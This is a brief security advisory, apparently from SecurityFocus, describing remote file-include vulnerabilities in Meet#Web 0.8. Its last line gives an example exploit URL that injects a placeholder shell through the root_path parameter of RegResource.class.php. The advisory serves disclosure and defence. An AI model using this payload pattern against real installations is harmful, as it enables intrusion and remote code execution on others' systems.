source: https://www.securityfocus.com/bid/30673/info
Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
Meet#Web 0.8 is vulnerable; other versions may also be affected.
http://www.example.com/cms/meetweb/classes/RegResource.class.php?root_path=[SHell]